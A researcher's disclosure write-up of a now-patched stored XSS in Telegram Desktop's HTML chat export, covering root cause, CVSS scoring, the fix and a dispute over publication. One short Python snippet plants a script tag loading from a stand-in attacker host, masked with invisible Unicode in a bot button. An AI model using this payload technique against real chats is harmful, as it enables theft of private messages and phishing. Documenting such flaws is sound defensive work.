The Ghost in the Chat: how a bot that isn't in your group steals messages from Telegram HTML exports
A stored XSS in Telegram Desktop's HTML export pipeline lets a bot that never joins your group plant invisible JavaScript in an inline keyboard button. The payload sleeps in message history for months and detonates the moment a participant exports the chat and opens the HTML file — every message rendered in that document can be shipped to the attacker's server, and the page itself can be rewritten.
Analysis of Telegram Desktop (tdesktop) HTML export pipeline. Affected: exports produced by builds before v6.9.4 (Beta) / v7.0.1 (Stable); fixed in 8457d13a. Reported 2026-06-03, fix shipped 2026-07; as of publication no CVE has been assigned.
TL;DR
A stored XSS in Telegram Desktop lets an attacker plant invisible JavaScript in an exportable chat through a bot's inline keyboard button. The payload can sit in message history for months and detonates when a participant opens an HTML export page containing that message. No second click, no warning: every message and metadata field rendered in that document can be shipped to the attacker's server, and the page itself can be rewritten. The bot never joins the target chat — one forwarded message can be enough.
Prologue: A Monday Morning
9:47 a.m. Compliance at a fintech company has requested a full export of the engineering chat. Regulatory review — routine, happens twice a year. The lead developer opens Telegram Desktop, clicks the three dots in the corner, picks "Export chat history," format HTML, and opens the resulting file in Chrome.
The page loads. Messages appear. Timestamps, names, code snippets, internal API keys shared months ago, heated architecture debates, the thread where somebody pasted AWS credentials "just for a second."
What the developer doesn't notice: between the messages, inside an unremarkable "Open" button, a <script> tag has already fired. In the 400 milliseconds the page took to render, every message in that document — months of engineering history — was packed into JSON and sent to a server in another country.
The developer sees a normal export. The attacker sees everything.
The message carrying the payload landed in the group seven months ago: a new colleague forwarded it, thinking it was a link to the corporate blog. The bot that produced the message was never in the group. It had no access to the group's ordinary traffic or prior history. It didn't need any.
The Vulnerability
One Missing Sanitization Call
The root cause is a single line in the Telegram Desktop source.
export_output_html.cpp, line 1752:
button.text.toUtf8()
When exporting a chat to HTML, Telegram Desktop writes inline-button text straight into the HTML page — unescaped. SerializeString(), which escapes every HTML-dangerous character (<, >, &, ", '), converts newlines and Unicode line/paragraph separators to <br>, and hex-encodes ASCII control characters, is defined in the same file and applied to message text, sender names, and other fields. It just wasn't applied to button text.
That means any HTML sitting in a button's text property renders as live markup in the exported page. <script> tags included.
Why This Is Worse Than a Typical Stored XSS
Standard stored XSS requires the attacker to have write access to the target context. This one doesn't. Telegram's Bot API lets any bot create messages with inline keyboards. The text field accepts arbitrary Unicode, HTML tags included. And, critically: a URL-only inline keyboard satisfies CopyMarkupToForward and survives forwarding. The full predicate also permits games and some SwitchInline cases; the attack needs none of them.
That produces a chain with three properties that, taken together, turn "run-of-the-mill XSS" into a high-impact mass-exploitation vector:
- No access required. The bot never joins the target chat. Someone else does the forwarding.
- Invisible persistence. The payload sits in history for months or years. It only fires on export.
- One-to-many. A single forward into a 200,000-member supergroup can compromise any participant whose export contains the message and who opens that HTML document.
Attack Scenario 1: Forwarding Through an Insider
Demonstration of the social-engineering vector: a recently added colleague forwards a bot's message into a work group. Another employee exports the chat to HTML and opens it — the page is replaced with a fake Telegram verification form (full DOM takeover via XSS). In parallel, every message rendered in the opened document is quietly exfiltrated to the attacker's server.
Video: Telegram Desktop stored XSS via HTML export — Scenario 1 (insider forwarding)
Mechanics
The attacker controls a bot — any bot, even one spun up five minutes ago via @BotFather. The bot sends a single message to an accomplice (or to any public chat the attacker is in):
payload = '<script src=https://attacker.example/p.js></script>'filler = "ㅤ" * 30 # U+3164 Hangul Filler — invisible characters
requests.post(f"https://api.telegram.org/bot{TOKEN}/sendMessage", json={
"chat_id": attacker_chat,
"text": "Check out our new blog post",
"reply_markup": {
"inline_keyboard": [[{
"text": filler + payload, # invisible in the Telegram UI "url": "https://company-blog.example"
}]]
}
})
The message looks completely normal in the demonstrated Telegram Desktop build. The button shows empty or near-empty text: Hangul Filler characters obscure the trailing tag, while the URL remains legitimate. No visual sign of an embedded script.
The accomplice — or anyone who sees it — forwards the message into the target group. Telegram preserves the inline button because it's URL-typed. The bot was never a member of the target group. It has zero API access to that group's messages.
Seven months later, someone runs an export.
Injection into Button Text
Injection into button text (stealthy): the <script> tag is embedded in the button's text field, masked by invisible Unicode — the button looks empty or shows only the URL. Attribute values such as href were already escaped by pushTag(); the confirmed injection point is the unescaped button text.
Attack Scenario 2: Direct Injection by the Bot
Demonstration: a utility bot — weather, polls, reminders — sends the payload directly into a group it has been added to. With privacy mode enabled, the bot does not receive ordinary group traffic or prior history. Its own message still becomes code when the poisoned export document opens, giving it access to every message rendered on that page.
Video: Telegram Desktop HTML Export XSS | Bot Privacy Mode PoC (Patched)
Privilege Inversion
This scenario exposes the core paradox of the vulnerability. Telegram's bot privacy model exists to protect users:
- By default, privacy-enabled bots do not receive ordinary group traffic or prior history. They still receive the commands, replies, messages sent via the bot, and service messages documented by Telegram.
- Group admins see a clear indicator: "this bot has no access to messages."
- Users trust this model. That is why groups freely add bots.
But HTML export destroys that boundary. It serializes the bot's own messages — inline keyboards included — into the exported page. The API withholds ordinary group traffic; the poisoned document hands the bot's script every message rendered on the page.
The bot escalates from no access to ordinary group traffic to browser-side access to every message rendered in the poisoned document — not through the Bot API, but through Telegram Desktop's export pipeline.
This is exactly the privilege boundary the Scope Changed metric (S:C in CVSS) is meant to describe: the Bot API withholds ordinary group traffic, but the impact lands in the victim's browser context, where the injected code controls the opened export document.
What Leaks
When the exported HTML is opened, the injected script (p.js) runs immediately on page load — no additional click after the file is opened:
Primary Exfiltration
| Data | Method | Volume |
|---|---|---|
| Messages in the opened document | DOM parsing (.message.default) | Every rendered message — text, sender, timestamp |
| Chat metadata | Header parsing | Chat name, type (private/group), member count |
| Full page text | document.body.innerText | Capped at 200 KB in the demo PoC; the cap is an implementation choice, not a security boundary |
| File path | location.href | Local path — leaks the OS username and directory structure |
DOM Takeover: History Forgery and Phishing
Beyond quiet data theft, the XSS gives full control over the DOM. The PoC includes overlay.js, which replaces the entire export page with a convincing Telegram verification form:
- The victim sees a "Verification required" prompt with Telegram branding
- The real export contents are gone — completely replaced
- In the demo, password fields are read-only placeholders and only a test email value is sent to
127.0.0.1; the same DOM control can be adapted for credential phishing - The victim has no reason to suspect a swap — they're looking at their own data in their own browser
The attacker can also silently modify the rendered history — change timestamps, rewrite sender names and message text, reorder, insert, or hide messages, and replace their surrounding context. In a legal setting or a compliance review, where a chat export functions as evidence, that is record tampering at the browser layer. The PoC does not alter Telegram's server-side history or write those changes back to the source HTML on disk.
Scaling: One Message, Mass Seeding
Demonstration of the collection panel used by the PoC. The final view shows three capture records from one chat and one IP: two records contain the same 14 rendered messages from four senders, while one contains no messages. The video proves collection from an opened poisoned export; it does not claim multiple victims, groups, contacts, or phone numbers.
Video: Telegram Desktop HTML Export XSS | Data Exfiltration PoC (Patched)
The Forwarding Amplifier
The attack scales through Telegram's own forwarding mechanism:
Attacker's bot
|
v
Creates one message (bot's chat)
|
|--forward--> Public group (10,000 members) [any member]
|--forward--> Engineering group (2,400 members) [any member]
|--forward--> Crypto-trading supergroup (200,000) [any member]
+--forward--> Corporate/news channel (18k / 1.2M) [requires posting rights — admin/insider]
Every forwarded copy carries the payload independently. The bot joins none of these groups. If the forwarded message is included in an HTML export, opening that poisoned page triggers an independent exfiltration.
One important distinction in the attack surface. In groups and supergroups where content protection is disabled, any member can forward the message. That is the primary surface for mass seeding. Forwarding into channels requires posting rights, meaning the attacker needs either control of an admin account or a colluding insider. Channels remain in the threat model — compromised admin, or a targeted channel used against a company's employees — but they are not an automatic mass-distribution vector on their own.
The payload is persistent. It lives in chat history until the message is deleted. Members who join later can also receive it in their export when prior history is visible to them and the message falls within the exported range.
Every poisoned export page fires independently. A page that contains the payload can trigger when opened; another page without the payload does not.
The Time-Bomb Factor
Unlike a malicious attachment, the carrier is dormant text stored inside Telegram's own message database. The external script URL can be blocked, but the poisoned message itself is not a file to scan. It activates only when an unrelated, legitimate user action — exporting a chat — turns inert message data into executable HTML.
The gap between injection and detonation can be months or years. The attacker seeds the payload and waits.
Root-Cause Analysis
The Vulnerable Code Path
Telegram Desktop's HTML export is handled in export_output_html.cpp. The function that writes inline buttons emits raw HTML:
Line 1752: button.text.toUtf8() // <-- no SerializeString()
Compare with how message text is written a few lines away:
SerializeString(message.text) // <-- HTML entity escaping
SerializeString() escapes <, >, &, ", ' into HTML entities, converts \n and Unicode line/paragraph separators to <br>, and hex-encodes control characters — the standard set for neutralizing injected markup. Skipping this call for button text is the entire vulnerability. The fix is one function call.
How Long This Sat in Production
The vulnerable line block.append(button.text.toUtf8()) was introduced by commit 52c779bf ("Added support of inline markup reply to HTML export.", author 23rd). It was authored on February 21, 2024, committed on March 8, 2024, and reached the stable v4.15.1 release that day. The fix was authored on June 30, 2026.
The vulnerability sat in production code for roughly two years and four months. Any HTML export created by a vulnerable build can still contain a live <script> tag inside an inline button if the attacker seeded that payload into the exported range. The client-side patch does not rewrite files already on disk: those old exports remain dangerous when opened with JavaScript enabled.
Why the Telegram Client Wasn't Affected
Telegram's desktop and mobile clients render messages through their own UI framework, not through a browser engine. Button text is displayed as a flat string — HTML tags show up literally rather than being interpreted. That is why the injection was invisible in the client (the <script> tag is just characters) but dangerous in the export (the browser interprets it as live code).
This created a false sense of safety: the button text "looked normal" in the app because the app doesn't parse HTML. But the export pipeline does — and it trusted the same text without sanitization.
CVSS Scoring
CVSS 3.1: 8.2 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector | Local | The vulnerable component is tdesktop's local export serializer, invoked by explicit user action; the network delivery of the payload traverses a separate, non-vulnerable code path (see subsection below) |
| Attack Complexity | Low | Standard Bot API call; no race conditions, no special configuration |
| Privileges Required | None | Any Telegram user can create a bot; forwarding requires no group membership |
| User Interaction | Required | The victim must export a chat to HTML and open the file |
| Scope | Changed | A vulnerability in the tdesktop process results in code execution in a distinct security context — the browser process (full DOM access / exfiltration) |
| Confidentiality | High | Sensitive messages and metadata rendered in the opened export document |
| Integrity | High | Full DOM control over the rendered record: dates, senders, message text, context, and phishing overlay |
| Availability | None | No denial of service |
Deliberate Conservative Scoring
We intentionally score this AV:L, not AV:N, and want to be open about why.
Under a strict reading of FIRST 3.1 §2.1.1, Attack Vector is defined through the vulnerable component and its network reachability. The vulnerable component here is export_output_html.cpp — a local batch serializer that reads messages from the local cache only under explicit user action ("Export chat history"). It is not bound to the network stack. The network path (Bot API → Telegram servers → local tdesktop cache) traverses separate code that handles the data correctly; the vulnerability is not there. This shape is structurally closer to Follina (CVE-2022-30190, AV:L per NVD) than to SymStealer (CVE-2022-3656, AV:N per NVD), where the vulnerable Chrome renderer processes HTTP content directly at arrival.
Changing only AV:L to AV:N would produce 9.3, but AV:N is not the vector used in this report. The stored value reaches the client over Telegram's network; exploitation occurs when the local export serializer emits executable HTML and the user opens it. We keep the stricter 8.2 High score because a defensible vector matters more than a "Critical" label.
The practical impact remains severe: exfiltration of sensitive content from the opened document and full control over how that exported history is presented in the browser.
Disclosure Timeline
| Date | Event |
|---|---|
| 2026-06-01 | Vulnerability discovered in Telegram Desktop's export pipeline |
| 2026-06-03 | Report sent to security@telegram.org with full PoC, video demonstration, and CVSS scoring |
| 2026-06-30 | Fix commit 8457d13a, "Fix escaping in HTML export of keyboards," authored before Telegram's response to the reporter |
| 2026-07-01 | Telegram confirms the report, offers a bounty |
| 2026-07-01 | Bounty declined (asked to be redirected to charity); coordinated disclosure requested |
| 2026-07-01 | Telegram refuses public disclosure: "disclosing even already-addressed issues could put users at risk" |
| 2026-07-02 | Fix commit receives its public committer timestamp |
| 2026-07-03 | GitHub publishes Telegram Desktop Beta v6.9.4, the first tagged release containing the fix |
| 2026-07-14 | GitHub publishes v7.0.1, the first stable release containing the fix |
| Pending | Public disclosure of this writeup after the fix |
The Fix
For Telegram (shipped): commit 8457d13a "Fix escaping in HTML export of keyboards." (John Preston; authored June 30, committed July 2, 2026) applies SerializeString() to button.text in export_output_html.cpp:1752 — the same sanitization already used for message text and other fields. The same commit closes a bonus vector: a JS-string injection into the onclick="return ShowTextCopied('…')" attribute of copy-callback buttons — content now escapes \\ and ' before being interpolated into the JS literal.
Final diff (export_output_html.cpp):
- block.append(button.text.toUtf8());+ block.append(SerializeString(button.text.toUtf8()));
- ? ("return ShowTextCopied('" + content + "');").toUtf8()+ ? ("return ShowTextCopied('"
+ + QString(content)
+ .replace('\\', u"\\\\"_q)
+ .replace('\'', u"\\'"_q)
+ + "');").toUtf8()
The patch first reached a tagged release in Telegram Desktop Beta v6.9.4, published on GitHub on July 3, 2026. For stable-channel users, the first GitHub release containing the fix is v7.0.1, published on July 14, 2026.
For users:
- Beta channel: update to v6.9.4 or later.
- Stable channel: update to v7.0.1 or a newer release containing the fix.
- If you exported chats to HTML before the fix: the files on your disk may contain dormant payloads. Re-export the chats after updating, or open old exports with JavaScript disabled.
- Be cautious about opening any HTML chat export produced before the patch date, especially from large groups where the origin of individual messages is hard to verify.
On Disclosure: What Telegram Says in Public and What It Writes in Private
This section is not about hurt feelings and not about money. It is about how one of the world's largest messengers, with security at the center of its marketing, handles vulnerability information — and why that matters to every user.
What the Public Policy Says
The Telegram Bug Bounty Program states the following consequence for pre-fix disclosure:
"Vulnerabilities that are disclosed to the public or to third parties before they are addressed are not eligible for our bug bounty program."
The published rule makes public or third-party disclosure before a fix ineligible for a bounty. The page does not say that post-fix publication requires Telegram's approval. No separate NDA or confidentiality agreement was executed for this report.
What Happened in Practice
I sent a report with a full PoC and video demonstration. Telegram confirmed the vulnerability and offered a bounty. I declined the bounty and asked that the amount be redirected to charity. I requested a coordinated publication date and explicitly offered to remain silent until the patch shipped.
Here is my request:
"Could you also let me know the expected timeline for the fix, and whether there's a coordinated disclosure date you'd prefer? I'm happy to hold off on any public disclosure until the patch has shipped."
And here is Telegram's answer:

"We also have considered the possibility of a public disclosure but we cannot approve it as disclosing even the already addressed issues could put more Telegram users at risk in the future. For instance, if information about a vulnerability is made public, malicious actors may attempt to exploit it thereby causing financial harm to Telegram users."
Re-read that: "even the already addressed issues." This was not a request to wait for the patch. Telegram explicitly wrote that it could not approve public disclosure even after an issue had been addressed. That is a refusal to approve post-fix disclosure.
Why This Matters
Let's take the argument apart on the merits.
"Disclosing even already-addressed issues could put users at risk" is an argument against the standard post-fix advisory model used across the security industry. Advisories and CVE records give defenders a reason to update, let incident responders assess exposure, and make independent review possible. A silent patch gives them none of that context.
"Malicious actors may attempt to exploit it" — after the fix, the remaining targets are unpatched clients and old HTML exports that the client update cannot rewrite. That is exactly why users need an advisory: to update the client and treat old exports as untrusted active content. I offered publication only after the patch shipped. Telegram refused to approve even that.
What this means in practice: Telegram chose a silent patch for a high-impact vulnerability and refused to approve post-fix publication. The fix commit is public, but as of September 11, 2026, Telegram has published no security advisory and there is no public CVE or NVD record for this issue. Users therefore receive no vendor warning that a pre-fix HTML export may execute attacker-controlled code when opened.
And one more detail from the tdesktop git metadata. The fix commit (8457d13a) was authored on June 30, 2026 — a day before Telegram confirmed the report and offered a bounty. Its public committer timestamp is July 2. That does not prove the commit was already public on July 1; it does prove the fix had been prepared before the refusal. More importantly, Telegram's wording was not limited to the release window: it explicitly covered already addressed issues. This was a position against post-fix disclosure, not a request for a few more days to ship.
The Question Every User Should Ask
Telegram builds its positioning around security as one of its core pillars. telegram.org emphasizes encryption, self-destruct, and the promise that Telegram "keeps your messages safe from hacker attacks." Security is a load-bearing part of the product's marketing narrative.
But security is not the absence of vulnerabilities (no one is free of those). Security is how you handle them. Whether you publish an advisory. Whether you assign CVEs. Whether you let researchers publish. Whether you allow independent audit.
For comparison:
- Signal maintains a public Security Acknowledgments page naming reported issues and researchers.
- Google Chrome publishes security release notes with CVE identifiers and researcher credit.
- Apple publishes security release notes and adds CVE identifiers when possible.
- Telegram asked this researcher to stay silent even after the fix. The code change is visible, but there is no Telegram advisory and no public CVE record for this issue as of September 11, 2026.
Ask yourself: when a vendor that built its brand on security actively obstructs public documentation of its own vulnerabilities — is it protecting your data, or protecting its reputation?
I offered Telegram full silence until the patch and publication only afterward. They refused to approve it. Their published program says that disclosure before an issue is addressed makes a report ineligible for a bounty; it does not state that post-fix publication requires approval. I declined the bounty voluntarily, and the fix has shipped.
This is post-fix disclosure after advance vendor notification. Telegram did not agree to a coordinated publication date; it rejected post-fix disclosure altogether.
Responsible Disclosure
The vulnerability was reported through Telegram's official bug bounty program at security@telegram.org. All testing was performed on the researcher's own accounts and test groups. The PoC code uses only 127.0.0.1 — no interaction with Telegram production infrastructure beyond standard Bot API calls.
The $500 bounty was voluntarily declined with a request to redirect it to charity. A coordinated publication date was requested; Telegram refused to approve disclosure even after the issue had been addressed. This writeup is prepared after the fix shipped and was verified in released builds. A working exploit targeting live systems is not included.
Denis Rostilov — Security Researcher
Aleksander Rostilov — Security Researcher
security@expatch.llc · expatch.com
No public CVE record as of 2026-09-11 | Fix: tdesktop 8457d13a (Beta v6.9.4 / Stable v7.0.1) | Telegram Bug Bounty Program